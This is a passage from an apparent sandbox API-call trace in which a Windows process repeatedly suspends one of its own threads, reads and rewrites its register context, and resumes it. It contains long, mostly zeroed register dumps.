FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0126.343] ResumeThread (hThread=0x130) returned 0x1
[0126.343] CloseHandle (hObject=0x130) returned 1
[0126.343] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.377] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.420] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.495] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.570] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0126.570] SuspendThread (hThread=0x130) returned 0x0
[0126.570] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147638, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x160e063, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0126.638] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147630, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0126.656] ResumeThread (hThread=0x130) returned 0x1
[0126.656] CloseHandle (hObject=0x130) returned 1
[0126.657] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.734] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.809] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0126.809] SuspendThread (hThread=0x130) returned 0x0
[0126.809] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147728, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x1625060, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0126.877] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147720, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0126.945] ResumeThread (hThread=0x130) returned 0x1
[0126.945] CloseHandle (hObject=0x130) returned 1
[0126.945] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0126.980] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.015] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.090] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0127.163] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0127.164] SuspendThread (hThread=0x130) returned 0x0
